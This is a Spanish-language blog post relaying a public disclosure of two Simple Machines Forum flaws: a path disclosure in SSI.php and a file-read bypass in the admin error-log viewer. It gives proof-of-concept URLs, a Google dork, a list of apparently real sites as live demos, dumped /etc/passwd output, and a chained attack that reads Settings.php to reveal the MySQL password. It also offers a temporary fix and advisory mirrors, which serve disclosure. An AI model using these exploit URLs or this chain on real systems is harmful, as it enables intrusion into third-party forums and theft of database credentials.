Ahora venimos con un Path Disclusore a SimpleMachines Forum una falla de seguridad encontrada por WHK la cual publico en su foro, falla que permite conocer el directorio local donde se encuentra el sistema web.
Detalles:
SSI.php Linea 294:
// Fetch a post with a particular ID. By default will only show if you have permission to the see the board in question - this can be overriden.
function ssi\_fetchPosts($post\_ids, $override\_permissions = false, $output\_method = 'echo')
{
$post\_id no está definido. Posible solución: ($post\_id = false)
Prueba de concepto:
http://example.com/forumpath/SSI.php?ssi\_function=fetchPosts
Google Dorks:
inurl:?index.php?action=help
Demos:
http://simpleportal.net/SSI.php?ssi\_function=fetchPosts
http://www.furgovw.org/SSI.php?ssi\_function=fetchPosts
http://www.teachmideast.com/forum\_old/SSI.php?ssi\_function=fetchPosts
http://www.slowracing.com/jaxfox/SSI.php?ssi\_function=fetchPosts
http://www.iptv2you.com/board/SSI.php?ssi\_function=fetchPosts
http://voceteopr.com/SSI.php?ssi\_function=fetchPosts
http://www.thesilverball.com/SSI.php?ssi\_function=fetchPosts
http://othforums.com/SSI.php?ssi\_function=fetchPosts
http://www.skinmod.eu/SSI.php?ssi\_function=fetchPosts
Solución temporal:
En el archivo SSI.php linea 45 dice:
$ssi\_error\_reporting = error\_reporting(defined('E\_STRICT') ? E\_ALL | E\_STRICT : E\_ALL);
Reemplazar por:
$ssi\_error\_reporting = error\_reporting(0);
Funciones afectadas:
. fetchMember
. fetchPosts
. fetchGroupMembers
. queryMembers
Mirrors:
http://seclists.org/fulldisclosure/2013/Jan/14
http://packetstormsecurity.com/files/119240/smf-disclose.txt
http://cxsecurity.com/issue/WLB-2013010025
https://foro.elhacker.net/nivel_web/path_disclusore_en_simplemachines_forum_203-t379876.0.html
http://www.simplemachines.org/community/index.php?topic=494435.0
Pero bueno esto aqui no acaba WHK nos trae mas información y aun mas detallada y lo cual ayuda a completar con este post, encontrando otra falla de seguridad en el panel de administración, específicamente en el lector de archivos de errores.
Normalmente esta sección permite ver los archivos de error y cargar la url via petición GET:
http://test.com/forum/index.php?action=admin;area=logs;sa=errorlog
Si revisamos el código fuente en el archivo /Sources/ManageErrors.php linea 340 veremos lo siguiente:
// Make sure the file we are looking for is one they are allowed to look at
if (!is\_readable($file) || (strpos($file, '../') !== false && ( strpos($file, $boarddir) === false || strpos($file, $sourcedir) === false)))
fatal\_lang\_error('error\_bad\_file', true, array(htmlspecialchars($file)));
Como vemos, SMF ha puesto una traba para que nos imposibilite mostrar archivos que no esten dentro del directorio de smf, nos restringen urls tales como ../../../../foo a traves de esta función:
strpos($file, '../')
Ahora, vemos que no necesitamos el string “../” para saltar hacia otros directorios, hacemos un bypass de la siguiente manera: /home/?/public_html/forum/file.
La pueba de concepto:
http://test.con/forum/index.php?action=admin;area=logs;sa=errorlog;file=L2V0Yy9wYXNzd2Q=
donde file es /etc/passwd en base64:
1: root❌0:0:root:/root:/bin/bash
2: bin❌1:1:bin:/bin:/sbin/nologin
3: daemon❌2:2:daemon:/sbin:/sbin/nologin
4: adm❌3:4:adm:/var/adm:/sbin/nologin
5: lp❌4:7:lp:/var/spool/lpd:/sbin/nologin
6: sync❌5:0:sync:/sbin:/bin/sync
7: shutdown❌6:0:shutdown:/sbin:/sbin/shutdown
8: halt❌7:0:halt:/sbin:/sbin/halt
9: mail❌8:12:mail:/var/spool/mail:/sbin/nologin
10: news❌9:13:news:/etc/news:
11: uucp❌10:14:uucp:/var/spool/uucp:/sbin/nologin
12: operator❌11:0:operator:/root:/sbin/nologin
13: games❌12💯games:/usr/games:/sbin/nologin
14: gopher❌13:30:gopher:/var/gopher:/sbin/nologin
15: ftp❌14:50:FTP User:/var/ftp:/sbin/nologin
16: nobody❌99:99:Nobody:/:/sbin/nologin
17: mailnull❌47:47::/var/spool/mqueue:/sbin/nologin
18: smmsp❌51:51::/var/spool/mqueue:/sbin/nologin
19: apache❌48:48:Apache:/var/www:/sbin/nologin
20: nscd❌28:28:NSCD Daemon:/:/sbin/nologin
Ahora… que pasa si queremos obtener un archivo oculto del foro? digamos la conección de MySQL o la contraseña de un IRC?
Lo primero que necesitamos es saber cual es la ruta absoluta asi que hacemos lo siguiente.
Paso 1. Vamos a http://example.com/forumpath/SSI.php?ssi_function=fetchPosts
Obtenemos la ruta:
Warning: Missing argument 1 for ssi\_fetchPosts() in /home/spadmin/public\_html/SSI.php on line 316
Paso 2. Ahora vamos a hacerle bypass al lector de archivo de errores:
http://test.con/forum/index.php?action=admin;area=logs;sa=errorlog;file=L2hvbWUvc3BhZG1pbi9wdWJsaWNfaHRtbC9TZXR0aW5ncy5waHA=&line=35
Donde “L2hvbWUvc3BhZG1pbi9wdWJsaWNfaHRtbC9TZXR0aW5ncy5waHA=” es igual a “/home/spadmin/public_html/Settings.php” y la linea 35 es llamada para mostrar la contraseña de la conección a la base de datos MySQL.
De esta forma un path disclosure puede permitir a un atacante saber en que directorio estan los archivos mas sensibles del sistema y leerlos a gusto y gana.
Mirror:
http://cxsecurity.com/issue/WLB-2013010045
http://seclists.org/fulldisclosure/2013/Jan/27
http://packetstormsecurity.com/files/119302/smf203-disclose.txt